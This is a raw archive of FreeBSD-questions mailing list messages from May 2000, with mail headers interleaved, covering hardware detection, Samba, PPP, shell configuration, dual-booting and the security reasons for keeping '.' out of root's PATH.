This does a couple things. First, it encourages people to go to the source for the information. It also reduces bandwidth. This is pretty significant for a list of this size.

I just upgraded my file server from FreeBSD 3.4 to 4.0 and I reinstalled SAMBA. Now, I can't see any thing on Network Neighborhood from my window98 box. No workgroup, no PC, (not even the the pc itself that I'm on). When I can map network drive however, it's just that I can't browse them. I can do find computer on Network Neighborhood and it sees itself and other pc and server. I thought it was very strange that I can't even see the PC I'm on. Can anyone help me ? I'm sorry if I was rambling and make no sense, but it's 1 the morning and I'm so mad and annoyed by this, I can't even go to sleep. Thank you.

This is far from my area of expertise, but my understanding is that for new network blocks you need to add the first address as a regular address (b.b.b.2 netmask 255.255.255.0) without the alias. Then add the remaining addresses in that block as aliases to it (b.b.b.3 netmask 255.255.255.255 alias). The definition of "new network block" will be dependent on how the first block is defined. > Am I missing something, some setting in rc.conf perhaps?

I've put in a 3c509 ethernet card, but I simply cannot get it to be recognised. dmesg does not report anything do do with 'ep' at all, and 'ifconfig -a' doesn't list it. I know that the GENERIC kernel has ep support in it - not only is it listed in /usr/src/sys/i386/conf/GENERIC, but I can do # strings /kernel | grep -i 3c509 I have checked the settings of the card using 3c5x9cfg.exe (in the same machine, booting it into DOS). It was originally set to 240H/IRQ10; I have changed that to 300H/IRQ11. No difference. I have removed all other cards from the system, leaving just three in total (Promise EIDE/VLB card, ET4000 VLB video card, and the 3c509). No difference. Incidentally, this 3c509 does not have a PnP mode. The full settings as reported by 3c5x9cfg are attached below, and 'pnpinfo' doesn't find it, either. I have compiled a new kernel with all ISA NICs apart from ep and ex[*] disabled, and all ISA SCSI devices apart from bt disabled. Still no joy. As far as I can see, dev/ep/if_ep* in 4.0-STABLE are the same as those on my system. I suppose I could always try CURRENT, but there don't seem to be any changes in the card detection code. Anybody else had this problem? Am I being a bozo? Please cc: me directly on any reply. Thanks, Brian Candler. [*] There is a bug in the ex driver, which I have reported. Since that card didn't work properly, this is why I'm trying the 3c509. This 3c509 was taken out of a Linux box where it has been working flawlessly for over a year. -------- NIC type: TP Date of manufacture: 6/24/1994 Division code: 6 Product code: MA ASIC revision: 1 Software compatibility failure level: 0 Software compatibility warning level: 0 I/O base address: 300H Interrupt request level: 11 Boot PROM size: disabled Transceiver type: on-board TP Network driver optimization: server Maximum interrupt disable time: 1600 microseconds On the PCB, it is labelled as "EtherLink III", "3C509TP", "ASSY 8352-10, Rev F" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun May 14 3:57:12 2000 Delivered-To: freebsd-questions@freebsd.org Received: from smtpf.casema.net (smtpf.casema.net [195.96.96.173]) by hub.freebsd.org (Postfix) with SMTP id A862F37B65D for ; Sun, 14 May 2000 03:57:09 -0700 (PDT) (envelope-from gin@hookers.com) Received: (qmail 25705 invoked by uid 0); 14 May 2000 10:57:07 -0000 Received: from unknown (HELO Avelon.net) (195.96.121.237) by smtpf.casema.net with SMTP; 14 May 2000 10:57:07 -0000 Received: by hookers.com via sendmail from stdin id (Debian Smail3.2.0.102) for freebsd-newnies@freebsd.org; Sun, 14 May 2000 12:04:07 +0200 (CEST) Date: Sun, 14 May 2000 12:04:07 +0200 From: XF To: freebsd-questions@freebsd.org Cc: freebsd-newnies@freebsd.org Subject: boot?

However, I cannot install 4.0 because of the message during the second floppy install "atacpi0: Busmastering DMA not supported" then it reboots in 15 seconds. Am still what you call a newbie. How do I solve the problem? Thanks. Francis...

Sorry that I forgot to check the archive first. After running natd in verbose, I found that my box was trying to connect to 192.168.128.3, which was denied by ipfw. Further investigating found that that ip was given by my ISP during dhcp ("option dhcp-server-identifier 192.168.128.3"). Seems it is time to complain my ISP. By the mean time, it is advisable for me to add a ipfw rule before DIVERT to discard those traffic earlier and to avoid the message? BTW, why can't these information logged in the natd log file?

Almost. It does seem somewhat lacking in the error handling dept. though. Using the example code above, if you do: # foobar -o -a -b then getopts(1) thinks that ``-a'' is the argument to ``-o''. Also, if it encounters an error such as an illegal option, or a missing argument then getopts(1) prints it's own error but sets $OPT to ``?'' which makes it difficult to generate your own error message, so instead of: # foobar -a -b -o No arg for -o option # you could output "-o requires a valid path as an argument" which would be easy if $OPT was set to ``o'' as you could test for $OPTARG = "" in the o case. OK, you could probably do it by keeping track of $OPTIND, but that points to the *next* option and if the error occurs on the last option it is set to 1, so you need to track the previous value of $OPTIND.

After adding printf's and discovering that junk was being read from the ID register, it turned out to be a hardware problem: changing the AT bus speed from CPUCLK/2 to CPUCLK/4 in the BIOS fixed it.

As the other answer said, use ./inform. The reason for this is that by default most Unix systems do not look in the current directory for program files. If they did, that could be a security problem. Imagine you were running as root, and someone placed a script called "ls" in /tmp which deleted every file on your disk, and without knowing about this, you did # cd /tmp # ls oops. This can be avoided partly by putting "." at the end of your PATH so it's checked last, but they could still anticipate typos and put a script called "sl" there instead. -- Ben Smithurst / ben@scientia.demon.co.uk / PGP: 0x99392F7D To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun May 14 7:13:36 2000 Delivered-To: freebsd-questions@freebsd.org Received: from admin.cyberenet.net (admin.cyberenet.net [204.213.252.6]) by hub.freebsd.org (Postfix) with ESMTP id 29F4837B743 for ; Sun, 14 May 2000 07:13:33 -0700 (PDT) (envelope-from toadie@eticomm.net) Received: from ppp22.chhill1.eticomm.net ([208.9.145.22] helo=eticomm.net) by admin.cyberenet.net with esmtp (Exim 2.12 #1) id 12qzCf-0005HB-00; Sun, 14 May 2000 10:17:09 -0400 Message-ID: <391EB3A8.36442A53@eticomm.net> Date: Sun, 14 May 2000 10:09:45 -0400 From: "Alan L.

No. Live with typing "./" when you need to. Having "." in $PATH is dumb (so I wasn't surprised to see one of the Linux distributions had it like that by default).

Problem with your idea is that a null string could be valid input, $ foo -a -o "" Second, you only can run out of options when the option requiring an argument is the last command line argument. You can lookup what the last one is pretty easily, `eval LAST=\$$#`. Are you pointing out weaknesses in the whole "getopt(s)" concept or complaining about getopts? getopt(1) has the same issues. getopts is definately not for use in all situations and never will be. -- Crist J.

Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Something seems to be knocking off various processes on my server with the equivalent of a 'kill -9'. This has included processes run from the shell as root (make, pico) and some cron jobs. I'm guessing there's more, but those are the ones I have a little information on. The only thing I can think of that might do something like this is resource limits, but that seems unlikely to hit pico in mid use on a small file, and there's no apparent resource crunch going on. I think I can rule this out. Is there any other reason the kernel itself might issue KILL signals? How can I get information on what's going on? Is there some way I can put in a trace on any KILL signals issued on the system so I can identify the culprit process (or kernel)? I can get a list of killed processes from the system accounting (lastcomm), but I need the signal type and source. Any ideas?

I found good instructions here: http://www.freebsd.org/FAQ/admin.html#AEN1856 On my setup I have Lilo installed in first HDD. I installed FreeBSD on 2nd HDD. So let FreeBSD install routine put the FreeBSD boot loader on MBR of 2nd HDD. Then added the lines in lilo.conf (on linux bootup) other=/dev/hdc2 table=/dev/hdc label=FreeBSD An example of a full lilo.conf might look like: boot=/dev/hda map=/boot/map install=/boot/boot.b vga=5 prompt timeout=50 image=/boot/vmlinuz label=rh6.2 read-only root=/dev/hda7 other=/dev/hdc2 table=/dev/hdc label=bsd other=/dev/hda1 label=win table=/dev/hda One gotcha here is that the FreeBSD partition must be mounted while in linux to let lilo write its instructions when you call "/sbin/lilo" So: `mount -tufs /dev/hdc2 /mnt' Setting the BSD partitions device name where I have "hdc2" Assuming your linux kernel supports "ufs" (Freebsd's fs type) Then when booting I just select "FreeBSD" at the Lilo prompt and the Freebsd boot loader does the rest.

My question is this- what do I have to do to get it working? I read the information that was on the web page, and created the kermit.ans, and kermit.dial files, as well as the pppserv and pppservdown files, but I believe that I am also suppsed to have a ppp.conf file, but I can't find any info on what's supposed to be in it...SO can anyone point me to a place on the web where I can find a ppp.conf file, or e-mail me their's? And is that the only thing that I have left to do in order to get this all working?? Thanks in advance for all of your help!

Thanks, Okay, I figured it out and thought that I should reply to myself so that this gets in the archives (as far as I can tell, this info isn't there, and I'm sure I'm not the only one to ever do this). What I figured out empirically: TERM stands for "terminal" and tells what type of display you're using. "cons25" means that I was using a 25-line console. What WP wants is "TERM=xterm", which will automatically be the case when you're in XWindows. So the point is install WP from XWindows, and not from a text console. -David To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun May 14 12:21:43 2000 Delivered-To: freebsd-questions@freebsd.org Received: from netcore.fi (netcore.fi [193.94.160.1]) by hub.freebsd.org (Postfix) with ESMTP id BADCE37B5FA for ; Sun, 14 May 2000 12:21:39 -0700 (PDT) (envelope-from pekkas@netcore.fi) Received: from localhost (pekkas@localhost) by netcore.fi (8.10.1/8.10.1) with ESMTP id e4EJLao30873 for ; Sun, 14 May 2000 22:21:37 +0300 Date: Sun, 14 May 2000 22:21:36 +0300 (EEST) From: Pekka Savola To: freebsd-questions@freebsd.org Subject: 'ps: bad namelist', ipf problem?

For some reason 'ps' has ceased to work properly lately. I tried cvsupping, making world, remaking a new kernel (actually a few times) but the problem still persists. ---- [root@gap /usr/bin] # ps ps: bad namelist ---- However, I'm using ipfilter 3.3.14 patchkit. It replaces some IP handling source/header files in the kernel directories. I wonder if this might be causing problems? Has anyone else came across this? Any ideas how to fix this? Previous versions of ipf 3.3.x I have used have worked without problems (last reboot like 90 days ago).

This opens file descriptors for every interface too, which leads to rapidly running out of them. There are two solutions. One is to have named bind to only the interfaces you need through changes to the named.conf file. The second (which you should probably do anyway) is to increase the MAXUSERS value in your kernel config. I would say that conservatively you should double it from what it is now. Triple it if you are going to have named bind to every interface. Make sure you have at least 128M of ram in the box, and I'd say that 256M is a better choice.

There's some voice over IP software, Battle Com, that I'd like to use while playing 1st person shooter games. However, I've had no luck getting it set up. Certainly, the game box has the hardware and software to support it, but whenever I try to connect to a server I get an error message that there isn't a server reachable at that address.

No, but by that argument, we shouldn't have getusershell() either. Besides, this port needs it twice. Wouldn't sticking it in libc once instead of in a patch in the ports collection twice save CVS space? Also, a lot of ports complain about this. For instance, in LyX, we see lyx_cb.o: In function `AutoSave(void)': lyx_cb.o(.text+0x73ee): warning: tmpnam() possibly used unsafely; consider using mkstemp() Is there time when it is inapprpriate to "fix" the behaviour of the port?

This opens file descriptors for every interface too, which leads to rapidly running out of them. There are two solutions. One is to have named bind to only the interfaces you need through changes to the named.conf file. The second (which you should probably do anyway) is to increase the MAXUSERS value in your kernel config. I would say that conservatively you should double it from what it is now. Triple it if you are going to have named bind to every interface. Make sure you have at least 128M of ram in the box, and I'd say that 256M is a better choice.

As a normal user, you can't damage much, but adding . to root's path is virtually suicide, as you have already pointed out. . in the path is arguably an MS-DOS thing to do, and it amounts to nothing more than convenience for the lazy. Users and administrators alike should avoid ambiguity and potential slips/security problems and explicitly specify ./ when executing commands in the current directory. Even with . at the end of your $PATH, you STILL need to specify ./ to execute recompiled versions of common commands that exist elsewhere in your path (or exist as builtin(1) commands). Suppose you patch a utility in /usr/src/usr.bin, recompile, and, having added . to the end of your $PATH, scratch your head and wonder why your patch didn't take effect when you simply type the command. One could go on for quite some time on this topic... I merely wanted to add my bit as further encouragement NOT to add . to any $PATH.

I examined the ~/.xsessions-errors file and there are some authorization failures there and could not connect X:0 errors. startx works fine with me, and I am sure that all the scripts have their paths set correctly. I have a 0 byte ~/.Xauthority file. This I believe has something to do with the authoirization failures.... There have been two postings before on this as I have pasted below: >I had the .xsession file working in X under FreeBSD version 3.4. >It seems there was a change in X under FreeBSD version 4.0, it was >necessary change one line on /usr/X11R6/lib/X11/xdm/xdm-config >file: > >From: >DisplayManager._0.authorize: false >To: >DisplayManager._0.authorize: false As you can see this person has mistakenly forgotten to give the change..both statements are identical. Another posting said to add the line DisplayManager._0.authName= MIT_MAGIC_COOKIE_1 in the xdm-config file Does anyone know if this works? Any similar experiences with authorization failures?

For instance, on my machine I can see that: % echo $PATH /sbin:/bin:{lots of dirs trimmed}:~/bin But nowhere on the path can one find the `.' directory. You can always add the directory to your path, by adding to your .cshrc the following: set path = ( $path . ) But this is not a recommended way of solving the problem, since it creates various security issues, when you do it for the superuser. Just think of the good ol' trojan called /tmp/mroe and the following commands: # cd /tmp # ls -l | mroe Ciao, Giorgos.

The only thing I would change is the ignore the " "~-^Uppp-~" " line in your chat file. If you are going to run user mode ppp, there is a very good write up in the handbook you should read and follow. Go to www. freebsd.org, go to the handbook and read chapter 15, PPP and SLIP. Frankly, however, I do _NOT_ recommend you try to follow the handbook instructions for using kernel PPP. The man page is much better and more understandable. I first got user level ppp running. It was then easy to get the kernel level ppp running. Of course, the chapter in "The Complete FreeBSD" helped a lot, but the the pppd man page is more complete and accurate.

I think it only happened when pids were recycled and you are using the '|command' form in syslog.conf. That bug gave me a lot of headaches back then, but is fixed in 3.3 Stable.

This CDROM does hang of the sound card. The machine will not boot with the CDROM attached to the same IDE cable as the HDD. I tried just to be sure. There is only one IDE controller. The CDROM is a CR-563-B. I had to use the matcd driver under 3.1 to get the CDROM to work. I've checked all the jumpers on the card (the sound/modem/cdrom) and everything seems in order.

However, we Unix 'ers have had a very nasty virus spread around since clear back in the seventies, its spead to thousands of machines. So insidious that it even comes installed on FreeBSD releases. Virulent nasty and troublesome, hard to get off the root partition. The querulous, ill manored, unhelpful, illbegotten viruretic C-shell (csh), can be staved off with a dose of bashillin or zshillin. Even kshillin will cure it. But FreeBSD makes it so hard to get off the root partition. Joking aside, I've had about enough of the csh or sh shells. Enough that it made me try to get rid of it. Easily done for users but not so, Root. I tried various schemes like putting a bash binary in /bin or symlinking etc. Setting a line in "~/.login" to execute bash. Used `chsh' etc etc. Being as how I am not particulary expert at this, I managed to bar root from logging in at all, requiring emergency study of the very helpful printed manual that came with my distribution. Found my saviours in 'boot -s' and 'fixit.flp' I was quite suprised to notice that the venerable "vi" is not resident in /bin either. Luckily I remembered enough about "ed" to edit /etc/passwrd. But that still didn't get the job done. Finally noticed how to mount / and /usr while in single mode and that allowed access to `chsh'. Which in this case was the culprit because I'd put a call to bash there but later moved the binary back out of /bin when I got errors from bash looking for its libraries on unmounted /usr. So the file that `chsh' writes to was calling a binary no longer there makinga login impossible. Well I hope a few of you get a laugh out of this anecdote. But I'd really really like to have someone explain to me how to setup root with a bash shell. That nasty old csh really does suck. Where the rub comes is when you have to log in from single mode (boot -s) and none of the nifty stuff is mounted. Leaving csh and sh in place and just calling bash when running as root is an option that works but it requirs extra steps when su'ing then again when backing out. Maybe someone has a scipt that makes it more seamless. Something that notices when a user su's to root and hands them root in a bash shell. Or possibly something that notices when a login happens in single mode and hands root a csh shell but the rest of the time hands root a bash shell. Or some way to have bash only use libraries on / partition, or ......

I noticed this too... When you need to mount something, is not the time to stop and read a book, that information, at least the device names needed should be available instanly somewhere. Coming from a linux background I was really suprised at the lame output of FreeBSD fdisk. I'd grown used to the tidy informative output of linux fdisk, an instant source of the device names required to mount any thing. Finally I realized I could start /stand/sysinstall/ open the slice editor and find the names used for the various partitions, at least some of them, these names are conspicuously lacking in fdisk output. Brings up a question if there is a different fdisk or some other util that display device names in use.

Use "vipw" to do that, since the pass word file is shadowed. I simply took the "root" entry with csh, and called it something else. Same UID 0, same GID 0, but now it is something else. That way, If all else fails, I still have that access to /. I hope. :-) For my choice of shells as "root", I then copied the old "root" entry, and instead of "/bin/csh", I have "/usr/local/bin/bash". Now "root" is running bash as the default shell. > > Maybe someone has a scipt that makes it more seamless. > No need for a script, just need to know what buttons to push. :-) Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun May 14 18:53:32 2000 Delivered-To: freebsd-questions@freebsd.org Received: from iserver.itworks.com.au (iserver.itworks.com.au [203.32.61.10]) by hub.freebsd.org (Postfix) with SMTP id 7413837B5DD for ; Sun, 14 May 2000 18:53:28 -0700 (PDT) (envelope-from rgrace@itworks.com.au) Received: (qmail 18709 invoked from network); 15 May 2000 01:53:25 -0000 Received: from maybe.itworks.com.au (203.36.209.235) by iserver.itworks.com.au with SMTP; 15 May 2000 01:53:25 -0000 Received: (qmail 32334 invoked from network); 15 May 2000 01:53:25 -0000 Received: from dhcp8.itworks.com.au (HELO paranoia) (203.36.209.217) by maybe.itworks.com.au with SMTP; 15 May 2000 01:53:25 -0000 Reply-To: From: "Richard Grace" To: Subject: Date: Mon, 15 May 2000 11:56:36 +1000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG unsubscribe freebsd-questions To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun May 14 19: 8:45 2000 Delivered-To: freebsd-questions@freebsd.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by hub.freebsd.org (Postfix) with ESMTP id BD1A437B741 for ; Sun, 14 May 2000 19:08:42 -0700 (PDT) (envelope-from stuyman@confusion.net) Received: from confusion.net (user-2iveb4r.dialup.mindspring.com [165.247.44.155]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id WAA11215; Sun, 14 May 2000 22:08:39 -0400 (EDT) Message-ID: <391F5BC7.5FA82BD9@confusion.net> Date: Sun, 14 May 2000 22:07:03 -0400 From: Laurence Berland Organization: B.R.A.T.T.

X-Mailer: VM 6.73 under Emacs 20.6.1 Cc: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello all, I recently purchased an OEM Pentium III 500 to go into my Asus P2B-DS motherboard (which currently houses a Pentium II 450 nicely). After I seated the CPU and switched the jumpers to make the clock 500Mhz, I switched it on. The BIOS recognized the CPU as "Pentium III 500" and all seemed well until I hit RET to boot into FreeBSD. Immediately before I got the "booting kernel in 9 seconds" countdown, it rebooted. Upon rebooting, the BIOS could not initializes the video so all I got was "bios beep" errors. After doing this several times with cold shutdowns inbetween (scratching my head and wondering if I'd bought a lemon), I got this at the same place where it seemed to be spontaneously rebooting/dying: builtin: not found builtin: not found builtin: not found builtin: not found builtin: not found ... (bunches of these) int=00000006 err=00000000 efl=00010206 eip=0000dc70 eax=000912bb ebx=0001c95c ecx=0009497c edx=0000dc3c esi=00000001 edi=00000001 ebp=00094980 esp=0009491c cs=002b ds=0033 es=0033 fs=0033 gs=0033 ss=0033 cs: eip=5b 8d 55 f8 52 8d 55 fc-52 ff 75 08 e8 bf f8 ff ss: esp=01 00 00 00 01 00 00 00-80 49 09 00 3c 49 09 00 System halted Does this mean anything to anybody or is there just not enough to go on? I was fairly sure that the P2B-DS supported the Pentium III up to 500 Mhz. I've got BIOS rev 1012 in there (which is only 1 rev behind the current one issued Apr. 18th). . If you have any clues, please let me know. I've not found a friend yet with a Pentium III where I could plug this one into their moboard and see if it worked. I also don't have a "known good" proc. so debugging this is still kind of working in the dark.

He said it split the single ethernet device into two MAC addresses and both were working as if they were alone. I did not see it myself and asked him if it was simply running Linux emulation or possibly someone being funny with a KVM switch, but he said it was real. I am not sure if Linux utilities were just added to Windows or how two GUIs could run at the same time, so I am skeptical. I was always told that you can only have one OS running on a machine at a time, but maybe that has now changed. And if it can work for Linux, it may work for FreeBSD. (given some work) But right now all I know that you can do is dual boot with a unique OS with it's own home partition and only run one at a time. That is a common option for Windows/Unix users these days. Maybe that is what you are looking for. Is anyone familiar with the above Linux/Windows at the same time technology? Is this for real? How long has it been around? Websites for more info maybe???

In fact, I think this is a problem with /stand/sysinstall when run from a running system. I'm not sure what the issue is, but you should be able to edit the disk label with disklabel -e.

I run /usr/libexec/locate.updatedb and, like it's supposed to, the locate database is rebuilt. New size is about 701k. Great. All my locate requests work. Then, /etc/weekly runs at the end of the week. Whamo. The entire locate database is set back to about 500 bytes in size again. I've finally managed to trace this back to being "caused" by /etc/periodic/weekly/310.locate, which I've pasted below (it's the standard plain-old version that was installed during a make world - I haven't modified it at all). I've yet to figure out *why* though? Any thoughts? I'm running 3.4-stable now, and this problem didn't come into being until I had upgraded from 3.3-stable to 3.4-stable. Thanks!!! --John /etc/periodic/weekly/310.locate: locdb=/var/db/locate.database if [ -x /usr/libexec/locate.updatedb -a -f $locdb ] ; then echo "" echo "Rebuilding locate database:" touch ${locdb}; chown nobody ${locdb}; chmod 644 ${locdb} cd / echo /usr/libexec/locate.updatedb | nice -5 su -fm nobody chmod 444 ${locdb} fi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun May 14 21:31:58 2000 Delivered-To: freebsd-questions@freebsd.org Received: from buffy.tpgi.com.au (buffy.tpgi.com.au [203.12.160.34]) by hub.freebsd.org (Postfix) with ESMTP id C3BCA37B5E3 for ; Sun, 14 May 2000 21:31:52 -0700 (PDT) (envelope-from marcd@tpg.com.au) Received: (from smtpd@localhost) by buffy.tpgi.com.au (8.9.3/8.9.3) id OAA29239 for ; Mon, 15 May 2000 14:31:48 +1000 Received: from adl-56k-136.tpgi.com.au(203.12.165.136), claiming to be "zen.dodsworth.org" via SMTP by buffy.tpgi.com.au, id smtpdmQFocR; Mon May 15 14:31:39 2000 Message-ID:
